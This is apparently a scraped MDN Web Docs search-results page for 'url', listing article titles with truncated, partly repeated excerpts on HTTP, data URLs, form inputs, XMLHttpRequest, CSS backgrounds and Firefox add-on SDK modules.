url a recurring question among website owners is whether to choose non-www or www
urls. this page provides some advice on what's best. 6 data
urls base64, guide, http, intermediate,
url data
urls,
urls prefixed with the data: scheme, allow content creators to embed small files inline in documents. 7 evolution of http guide, http, needsup...
...pdate, needsupdate(http/3) http (hypertext transfer protocol) is the underlying protocol of the world wide web. http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d. 8 identifying resources on the web domain, http, path, scheme, syntax, uri,
url,
url syntax, web, fragment, port, query, resources the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else. each resource is identified by a uniform resource identifier (uri) used throughout http for identifying resources. 9 mime types (iana media types) content-type, guide, http, mime types, me...
...ose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. 10 incomplete list of mime types audio, file types, files, http, mime, mime types, php, reference, text, types, video here is a list of mime types, associated by type of documents, ordered by their common extensions. 11 resource
urls guide, http, intermediate, resource resource
urls,
urls prefixed with the resource: scheme, are used by firefox and firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well. 12 browser detection using the user agent compatibility, http, web development serving different web pages or s...
...And 20 more matches
Client-Server Overview - Learn web development
ed behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select. web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, the browser sends an http request to the server. this request includes: a
url identifying the target server and resource (e.g. an html file, a particular data point on the server, or a tool to run). a method that defines the required action (for example, to get a file or to save or update some data). the different methods/verbs and their associated actions are listed below: get: get a specific resource (e.g. an html file containing information about a product, or a ...
...load the resource if it has changed. put: update an existing resource (or create a new one if it doesn't exist). delete: delete the specified resource. trace, options, connect, patch: these verbs are for less common/advanced tasks, so we won't cover them here. additional information can be encoded with the request (for example, html form data). ...
...date an existing resource (or create a new one if it doesn't exist). delete: delete the specified resource. trace, options, connect, patch: these verbs are for less common/advanced tasks, so we won't cover them here. additional information can be encoded with the request (for example, html form data). ...
...And 19 more matches
Using files from web applications - Web APIs
rtswith('image/')){ continue } const img = document.createelement("img"); img.classlist.add("obj"); img.file = file; preview.appendchild(img); // assuming that "preview" is the div output where the content will be displayed. const reader = new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdata
url(file); } } here our loop handling the user-selected files looks at each file's type attribute to see if its mime type begins with the string "image/"). for each file that is an image, we create a new img element. css can be used to establish any pretty borders or shadows and to specify the size of the image, so that doesn't need to be done here. each image has the css class obj added to it, ...
... image specifying the file for the image; this will let us fetch the images for actual upload later. we use node.appendchild() to add the new thumbnail to the preview area of our document. next, we establish the filereader to handle asynchronously loading the image and attaching it to the img element. ...
...w thumbnail to the preview area of our document. next, we establish the filereader to handle asynchronously loading the image and attaching it to the img element. after creating the new filereader object, we set up its onload function and then call readasdata
url() to start the read operation in the background. when the entire contents of the image file are loaded, they are converted into a data:
url which is passed to the onload callback. ...
...And 19 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
d in some devices with dynamic keypads. <input type="tel" name="tel"/> html5 text the default value. a single-line text field. line-breaks are automatically removed from the input value. <input type="text" name="text"/> time a control for entering a time value with no time zone. <input type="time" name="time"/> html5
url a field for entering a
url. looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and devices with dynamic keyboards. <input type="
url" name="
url"/> html5 week a control for entering a date consisting of a week-year number and a week number with no time zone. <input type="week" name="week"/> html5 ...
... in file upload controls checked radio, checkbox whether the command or control is checked dirname text, search name of form field to use for sending the element's directionality in form submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit
url to use for form submission formenctype image, submit form data set encoding type to use for form submission formmethod image, submit http method to use for form submission formnovalidate image, submit bypass form control validation for form submission formtarget image, submit browsing context for form submission height image ...
...whether to allow multiple values name all name of the form control. submitted with the form as part of a name/value pair. patter...
...And 19 more matches
Introduction to automated testing - Learn web development
ere we grab our style.css file, run csslint on it (which outputs a list of any errors in your css to the terminal), then runs it through autoprefixer to add any prefixes needed to make nascent css features run in older browsers. at the end of the pipe chain, we output our modified prefixed css to the build directory. ...
... good introduction with a good deal of further information. using commercial testing services to speed up browser testing now let's look at commercial third-party browser testing services and what they can do for us. the basic premise with such applications is that the company that runs each one has a huge server farm that can run many different tests. when you use this service, you provide a
url of the page you want to test along with information, such as what browsers you want it tested in. the app then configures a new vm with the os and browser you specified, and returns the test results in the form of screenshots, videos, logfiles, text, etc. you can then step up a gear, using an api to access functionality programmatically, which means that such apps can be combined with task runne...
...started with sauce labs let's get started with a sauce labs trial. create a sauce labs trial account. sign in. this should happen automatically after you verify your e-mail address. the basics: manual tests the sauce labs dashboard has a lot of options available on it. for now, make sure you are on the manual tests tab. click start a new manual session. in the next screen, type in the
url of a page you want to test (use http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html, for example), then choose a browser/os combination you want to test by using the different buttons and lists. there is a lot of choice, as you'll see! when you click start session, a loading screen will then appear, which spins up a virtual machine running the combinati...
...And 18 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
lockpref("mail.identity.id1.useremail", mail); lockpref("mail.server.server2.name", mail); lockpref("mail.identity.id1.fullname", cn); //debug with popup error messages doesn't work anymore :-( !! var env_mozdebug= getenv("mozilla_d...
...derbird with autoconfig (autoconf.js having pref('general.config.filename','thunderbird.cfg'); ) and thunderbird.cfg calling getldap* functions to retrieve cn and mail address of the current user. netscape.cfg/autoconfig failed. please contact your system administrator. error: getldapattibutes failed: [exception... "component returned failure code: 0xc1f30001 (ns_error_not_initialized) [nsildap
url.spec]" nsresult: "0xc1f30001 (ns_error_not_initialized)" location: "js frame :: file:////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js :: getldapattributes :: line 174" data: no] bug 295329 had been re-opened . autoconfig option and ldap support in thunderbird 1.5.x fortunately, autoconfig is now part of thunderbird default packages. moz_ldap_xpcom=1 and moz_extensions_defau...
...r firefox in firefox.cfg as named in ff-autoconf.js just above. ...
...And 17 more matches
WebRequest.jsm
ng addlistener(). to remove a listener for an event, call removelistener on the event in question, passing it the listener to remove. filtering the filter argument is the second argument to addlistener(). if you don't pass filter, then the listener is invoked for every web request the browser makes that triggers that particular event. filter is an object that may contain up to two properties:
urls and types. name type description
urls matchpattern only invoke the listener for
urls that match one of the patterns. types array of strings. an array of resource types. only invoke the listener for resource types that match one of the types given. to specify match patterns, first import the "matchpattern.jsm" module, then construct a match...
...rg/*"); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern(["https://mozorg.cdn.mozilla.net/*", "https://mdn.mozillademos.org/*", "https://developer.cdn.mozilla.net/*"]); see the match patterns article for details on the syntax of the strings you supply. if you supply an array of strings, then a
url matches if it matches any of the strings. see some examples of using filter. modifying & canceling requests you can use the webrequest api to modify and cancel network requests. what exactly you're able to do to a network request depends on the stage at which you have intercepted the request: that is, the webrequest event that your listener is attached to. for example, it obviously doesn't mak...
...ons, include a property with the appropriate name in the object returned from the listener, and assign it the desired value, as detailed in the table below: operation available in return property cancel onbeforerequest cancel boolean value set to true. see some examples of canceling requests. redirect onbeforesendheaders redirect
url string set to the
url to redirect the request to. see some examples of redirection. modify request headers onbeforesendheaders requestheaders array of http headers. modify response headers onheadersreceived responseheaders array of http headers. see some examples of canceling, redirecting, and modifying request headers. ev...
...And 17 more matches
cross-fade() - CSS: Cascading Style Sheets
ust be coded without quotes, must contain the “%” symbol, and its value must be between 0% and 100%. the function can be used in css anywhere an ordinary image reference can be used. cross-fade percentages think of the percentage as an opacity value for each image. this means a value of 0% means the image is fully transparent while a value of 100% makes the image fully opaque. ...
...t quotes, must contain the “%” symbol, and its value must be between 0% and 100%. the function can be used in css anywhere an ordinary image reference can be used. cross-fade percentages think of the percentage as an opacity value for each image. this means a value of 0% means the image is fully transparent while a value of 100% makes the image fully opaque. ...
...alue must be between 0% and 100%. the function can be used in css anywhere an ordinary image reference can be used. cross-fade percentages think of the percentage as an opacity value for each image. this means a value of 0% means the image is fully transparent while a value of 100% makes the image fully opaque. ...
...And 17 more matches
panel - Archive of obsolete content
ing to its show and hide events. opening a panel will close any panel created by the panel() constructor that is already open, even if that panel was opened by a different add-on sdk based extension. if you want to close an existing panel without opening a new one, you can call the hide() or the destroy() method. ...
...ents. opening a panel will close any panel created by the panel() constructor that is already open, even if that panel was opened by a different add-on sdk based extension. if you want to close an existing panel without opening a new one, you can call the hide() or the destroy() method. panel content the panel's content is specified as html, which is loaded from the
url supplied in the content
url option to the panel's constructor. you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, content
url: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs. to do this, save the htm...
... into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, content
url: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs. to do this, save the html in your add-on's data directory and load it using the data.
url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ content
url: require("sdk/self").data.
url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html"). ...
...And 16 more matches
Install Manifests - Archive of obsolete content
t use a valid version format will not be installed. the version format is different from, although backwards-compatible with, 1.0's. for add-ons hosted on addons.mozilla.org - mozilla's update website may repackage your add-on and correct or reject malformed version strings. optional property reference you may need to supply these properties, depending on the capabilities of your add-on. ...
...on format will not be installed. the version format is different from, although backwards-compatible with, 1.0's. for add-ons hosted on addons.mozilla.org - mozilla's update website may repackage your add-on and correct or reject malformed version strings. optional property reference you may need to supply these properties, depending on the capabilities of your add-on. ...
...at the moment this only works for add-ons with em:type="2". the default value is false. for more information, see bootstrapped extensions. contributor the name(s) of additional contributors. ...
...And 16 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
n to avoid violating the mozilla add-on guidelines or creating an adverse user experience. due to the large volume of user complaints regarding hidden settings being changed against their will, and not being restored after the add-ons responsible are disabled, mozilla will take any steps necessary to mitigate the impact of offending add-ons. in particular, changing the location bar search keyword
url in a way which is not automatically reset when the add-on is removed will result in a reset prompt for users. other settings violations designed to restrict user choice will result in stronger action, such as blacklisting of the add-ons in question. the most technically sound method of achieving this, and the only acceptable way of changing preferences such that they are automatically restored on...
...lues. the simplest, which works only for traditional, non-restartless add-ons, is to add the preference changes to a file in an extension's defaults/preferences/ directory. the following file, for instance, would change the default keyword search engine, assuming that an engine with the name example engine is installed, as described below: // this is a localizable preference, so it must contain a
url which // points at a properties file containing the preference name as a // property. we use a data:
url for simplicity. pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and reverted when the extension is disabled if they have not been changed in the mean...
...h. var defaultprefs = services.prefs.getdefaultbranch(""); // save the original values. var savedprefs = {} // change the default value of the preference *name* to *value*. // a default for this preference must exist, and it must be a // character preference. function setpref(name, value, localized) { // if this is a localized preference, transform the value into an // appropriate data:
url. if (localized) value = "data:text/plain," + encodeuricomponent(name + "=" + value.replace(/ /g, "\\u0020")); // save the original and new values. savedprefs[name] = [defaultprefs.getcharpref(name), value]; // change the default defaultprefs.setcharpref(name, value); // clear the user value if this is the first run, or the // new default is the same as the u...
...And 16 more matches
Creating hyperlinks - Learn web development
the web has to offer. they've been a feature of the web since the beginning, and are what makes the web a web. hyperlinks allow us to link documents to other documents or resources, link to specific parts of documents, or make apps available at a web address. almost any web content can be converted to a link so that when clicked or otherwise activated the web browser goes to another web address (
url). note: a
url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web. if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you c...
...be made into a link, even block-level elements. if you have an image you want to make into a link, use the <a> element and reference the image file with the <img> element. <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more about using images on the web in a future article. a quick primer on
urls and paths to fully understand link targets, you need to understand
urls and file paths. this section gives you the information you need to achieve this. a
url, or uniform resource locator is simply a string of text that defines where something is located on the web. for example, mozilla's english homepage is located at https://www.mozilla.org/.
urls use paths to find files. paths specify wher...
...ct, as long as they're in different filesystem locations. the second index.html would perhaps be the main landing page for project-related information. same directory: if you wanted to include a hyperlink inside index.html (the top level index.html) pointing to contacts.html, you would specify the filename that you want to link to, because it's in the same directory as the current file. ...
...And 16 more matches
Creating localizable web applications
of the addons.mozillaorg code at /addons/trunk/site/app/config/language.php and /addons/trunk/site/app/config/language.inc.php. the language_config class expects arrays of valid languages & supported languages. always give the user a possibility to change the locale (e.g. by adding locale dropdown menu at bottom of page) and remember this choice for the future visits. use the locale code in the
urls depending on how you detect user's locale, you may want to provide a way of overriding the autodetection. you can achieve this by setting a cookie when the user changes the locale with the language dropdown, or by looking for locale code in the
url. the latter involves rewriting the
urls to include the locale code and rewriting apache's aliases to handle locale in
urls. you can put the locale ...
...http://example.com/foo/bar) or on its end (e.g. http://example.com/foo/bar/en-us). ...
... images handling (see images), but also should be taken into account when designing the interaction on the website. consider the following example: a filmreel-like slideshow showcasing highlighted features of the product or featured designs. for right-to-left languages, the slideshow should go from right to left as well, making the last element in the html the first one to be displayed. separate
urls from navigation sometimes, when the
urls are well-designed, you may want to use the
url to do something in the code depending on where the user is. take the
url structure of the getpersonas.com website for example. the
url http://getpersonas.com/nature/popular/2 points to the second page of the listing of the popular personas in the "nature" category. you could easily use list($category, $tab, ...
...And 16 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscriptable please add a summary to this article. ...
... dom/plugins/base/nsipluginhost.idlscriptable please add a summary to this article. ...
... nsiplugin getplugin(in string amimetype); native code only! void getplugincount(out unsigned long aplugincount); obsolete since gecko 1.8 nsiplugin getpluginfactory(in string amimetype); native code only! ...
...And 16 more matches
filter - CSS: Cascading Style Sheets
the filter css property applies graphical effects like blur or color shift to an element. filters are commonly used to adjust the rendering of images, backgrounds, and borders. included in the css standard are several functions that achieve predefined effects. you can also reference an svg filter with a
url to an svg filter element. the source for this interactive example is stored in a github repository. ...
.... included in the css standard are several functions that achieve predefined effects. you can also reference an svg filter with a
url to an svg filter element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rd are several functions that achieve predefined effects. you can also reference an svg filter with a
url to an svg filter element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 16 more matches
href - SVG: Scalable Vector Graphics
the href attribute defines a link to a resource as a reference
url. the exact meaning of that link depends on the context of each element using it. note: specifications before svg 2 defined an xlink:href attribute, which is now rendered obsolete by the href attribute. fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a
url reference. ...
...<mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a
url reference. ...
...developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a
url reference. value <
url> default value none animatable yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a
url referring to the element which is the target of this animation element and which therefore will be modified over time. ...
...And 16 more matches
Content Scripts - Archive of obsolete content
tabs: exports a tab object for working with a browser tab. the tab object includes an attach() function to attach a content script to the tab. page-worker: lets you retrieve a web page without displaying it. you can attach content scripts to the page, to access and manipulate the page's dom. context-menu: use a content script to interact with the page in which the menu is invoked. a...
...ptfile option. ...
... ' "<h1>page matches ruleset</h1>";'; pagemod.pagemod({ include: "*.mozilla.org", contentscript: contentscriptvalue }); the contentscriptfile option treats the string as a resource://
url pointing to a script file stored in your add-on's data directory. jpm doesn't make a "data" directory by default, so you must add it and put your content scripts in there. ...
...And 15 more matches
nsIFaviconService
.getservice(components.interfaces.nsifaviconservice); method overview void addfailedfavicon(in nsiuri afaviconuri); void expireallfavicons(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolete since gecko 22.0 astring getfavicondataasdata
url(in nsiuri afaviconuri); obsolete since gecko 22.0 nsiuri getfaviconforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconimageforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); ...
...read only. methods addfailedfavicon() this method adds a given favicon'...
...read only. methods addfailedfavicon() this method adds a given favicon's uri to the failed favicon cache. the life...
...And 15 more matches
Using XMLHttpRequest - Web APIs
after the transaction completes, the object will contain useful information such as the response body and the http status of the result. ...
...ough xmlhttprequest is most commonly used to send and receive textual data, it can be used to send and receive binary content. there are several well tested methods for coercing the response of an xmlhttprequest into sending binary data. these involve utilizing the overridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq = new xmlhttprequest(); oreq.open("get",
url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to f...
...ional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... */ } oreq.open("get",
url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provides the ability to listen to various events that can occur while the request is being processed. this includes periodic progress notifications, error notifications, and so forth. support for dom progress event monitoring of xmlhttpreq...
...And 15 more matches
Color picker tool - CSS: Cascading Style Sheets
t: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background:
url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-...
...dius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background:
url("https://mdn.mozillademos.org/files/5701/hue.png") center; background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%,...
...0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background:
url("https://mdn.mozillademos.org/files/5705/alpha.png"); } .ui-color-picker .alpha-mask { width: 100%; height: 100%; background:
url("https://mdn.mozillademos.org/files/6089/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { widt...
...And 15 more matches
passwords - Archive of obsolete content
perties, as outlined in this section. you can use the passwords api with three sorts of credentials: add-on credentials html form credentials http authentication credentials add-on credential these are associated with your add-on rather than a particular web site. they contain the following properties: username the username. password the password.
url for an add-on credential, this property is of the form: addon:<addon-id>, where <addon-id> is the add-on's program id. you don't supply this value when storing an add-on credential: it is automatically generated for you. however, you can use it to work out which stored credentials belong to your add-on by comparing it with the uri property of the self module. realm...
...omatically generated for you. however, you can use it to work out which stored credentials belong to your add-on by comparing it with the uri property of the self module. realm you can use this as a name for the credential, to distinguish it from any other credentials you've stored. the realm is displayed in firefox's password manager, under "site", in brackets after the
url. for example, if the realm for a credential is "user registration", then its "site" field will look something like: addon:jid0-01mbbfyu0zaxcfub1jykoostkic (user registration) html form credential if a web service uses html forms to authenticate its users, then the corresponding credential is an html form credential. it contains the following properties: username t...
...istration", then its "site" field will look something like: addon:jid0-01mbbfyu0zaxcfub1jykoostkic (user registration) html form credential if a web service uses html forms to authenticate its users, then the corresponding credential is an html form credential. it contains the following properties: username the username. password the password.
url the
url for the web service which requires the credential. you should omit anything after the hostname and (optional) port. formsubmit
url the value of the form's "action" attribute. you should omit anything after the hostname and (optional) port. if the form doesn't contain an "action" attribute, this property should match the
url property. usernamefield the value of th...
...And 14 more matches
util/match-pattern - Archive of obsolete content
for other schemes like file, resource, or data, use a scheme followed by an asterisk, as below. ...
...for other schemes like file, resource, or data, use a scheme followed by an asterisk, as below. ...
...for other schemes like file, resource, or data, use a scheme followed by an asterisk, as below. ...
...And 14 more matches
Sending form data - Learn web development
on the client side: defining how to send the data the <form> element defines how the data will be sent. all of its attributes are designed to let you configure the request to be sent when a user hits a submit button. the two most important attributes are action and method. the action attribute the action attribute defines where the data gets sent. its value must be a valid relative or absolute
url. ...
...t defines how the data will be sent. all of its attributes are designed to let you configure the request to be sent when a user hits a submit button. the two most important attributes are action and method. the action attribute the action attribute defines where the data gets sent. its value must be a valid relative or absolute
url. if this attribute isn't provided, the data will be sent to the
url of the page containing the form — the current page. ...
...be sent when a user hits a submit button. the two most important attributes are action and method. the action attribute the action attribute defines where the data gets sent. its value must be a valid relative or absolute
url. if this attribute isn't provided, the data will be sent to the
url of the page containing the form — the current page. in this example, the data is sent to an absolute
url — https://example.com: <form action="https://example.com"> here, we use a relative
url — the data is sent to a different
url on the same origin: <form action="/somewhere_else"> when specified with no attributes, as below, the <form> data is sent to the same page that the form is present on: <form> note: it's possible to specify a
url that uses the https (secure http) protocol. when you...
...And 14 more matches
Fetching data from the server - Learn web development
hange = function() { const verse = versechoose.value; updatedisplay(verse); }; let's define our updatedisplay() function. first of all, put the following beneath your previous code block — this is the empty shell of the function. note: steps 4 - 9 will all be performed within this function. function updatedisplay(verse) { } we'll start our function by constructing a relative
url pointing to the text file we want to load, as we'll need it later. the value of the <select> element at any time is the same as the text inside the selected <option> (unless you specify a different value in a value attribute) — so for example "verse 1". the corresponding verse text file is "verse1.txt", and is in the same directory as the html file, therefore just the file name will do. howe...
... to be case sensitive, and the file name doesn't have a space in it. to convert "verse 1" to "verse1.txt" we need to convert the v to lower case, remove the space, and add .txt on the end. this can be done with replace(), tolowercase(), and simple string concatenation. add the following lines inside your updatedisplay() function: verse = verse.replace(" ", ""); verse = verse.tolowercase(); let
url = verse + '.txt'; to begin creating an xhr request, you need to create a new request object using the xmlhttprequest() constructor. you can call this object anything you like, but we'll call it request to keep things simple. add the following below your previous lines inside your updatedisplay() function: let request = new xmlhttprequest(); next, you need to use the open() method t...
...t using the xmlhttprequest() constructor. you can call this object anything you like, but we'll call it request to keep things simple. add the following below your previous lines inside your updatedisplay() function: let request = new xmlhttprequest(); next, you need to use the open() method to specify what http request method to use to request the resource from the network, and what its
url is. we'll just use the get method here and set the
url as our
url variable. add this below your previous line: request.open('get',
url); next, we'll set the type of response we are expecting — which is defined by the request's responsetype property — as text. this isn't strictly necessary here — xhr returns text by default — but it is a good idea to get into the habit of setting ...
...And 14 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
ngths for both dimensions if you use background-size to specify fixed lengths for both dimensions, those lengths are always used, per rule 1 above. in other words, the image will always get stretched to the dimensions you specify, regardless of whether or not the source image has specified its dimensions and/or aspect ratio. ...
...tretched to the dimensions you specify, regardless of whether or not the source image has specified its dimensions and/or aspect ratio. ...
...ground:
url(no-dimensions-or-ratio.svg); background-size: 125px 175px; the rendered output would look like this: source: one specified dimension, no intrinsic ratio given this css: background:
url(100px-wide-no-height-or-ratio.svg); background-size: 250px 150px; the rendered output would look like this: source: one specified dimension with intrinsic ratio given this css: background:
url(100px-height-3x4-ratio.svg); background-size: 275px 125px; the rendered output would look like this: source: no specified width or height with intrinsic ratio given this css: background:
url(no-dimensions-1x1-ratio.svg); background-size: 250px 100px; the rendered output would look like this: using contain or cover specifying cover for background-size makes the picture as small as pos...
...And 14 more matches
Interacting with page scripts - Archive of obsolete content
any of them, even setters and getters, could have been redefined by a page script. don't use it unless you trust the page, and ...
...any of them, even setters and getters, could have been redefined by a page script. don't use it unless you trust the page, and even then be car...
...any of them, even setters and getters, could have been redefined by a page script. don't use it unless you trust the page, and even then be careful. also, unsafewindow isn't a supported api, so it could ...
...And 13 more matches
tabs - Archive of obsolete content
xample.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings. tabs.on('open', function onopen(tab) { myopentabs.push(tab); }); // listen for tab content loads. tabs.on('ready', function(tab) { console.log('tab is loaded', tab.title, tab.
url); }); access tabs the module itself can be used as a list of all opened tabs across all windows. in particular, you can enumerate it: var tabs = require('sdk/tabs'); for (let tab of tabs) console.log(tab.title); you can also access individual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tab...
...b of tabs) console.log(tab.title); you can also access individual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.
url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.
url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("de...
... is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.
url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.
url + " is loaded"); } function logactivate(tab) { console.log(tab.
url + " is activated"); } function logdeactivate(tab) { console.log(tab.
url + " is deactivated"); } function logclose(tab) { console.log(tab.
url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the ur...
...And 13 more matches
ui/sidebar - Archive of obsolete content
erates a show event when it is shown and a hide event when it is hidden. once you've finished using the sidebar you can destroy it by calling its dispose() method. ...
...when it is shown and a hide event when it is hidden. once you've finished using the sidebar you can destroy it by calling its dispose() method. ...
...what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar content the content of a sidebar is specified using html, which is loaded from the
url supplied in the
url option to the sidebar's constructor. unlike modules such as panel, the content must be local, typically loaded from the add-on's data directory via a
url constructed using self.data.
url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar',
url: require("sdk/self").data.
url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.
url("sidebar.html"). so you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', t...
...And 13 more matches
Storing annotations - Archive of obsolete content
plestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope which deals with a new annotation. ...
...
url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this.annotationtext = annotationtext; this.
url = anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, height: 220, content
url: data.
url('editor/annotation-editor.html'), contentscriptfile: data.
url('editor/an...
...ata which we will call list. ...
...And 13 more matches
XUL Structure - Archive of obsolete content
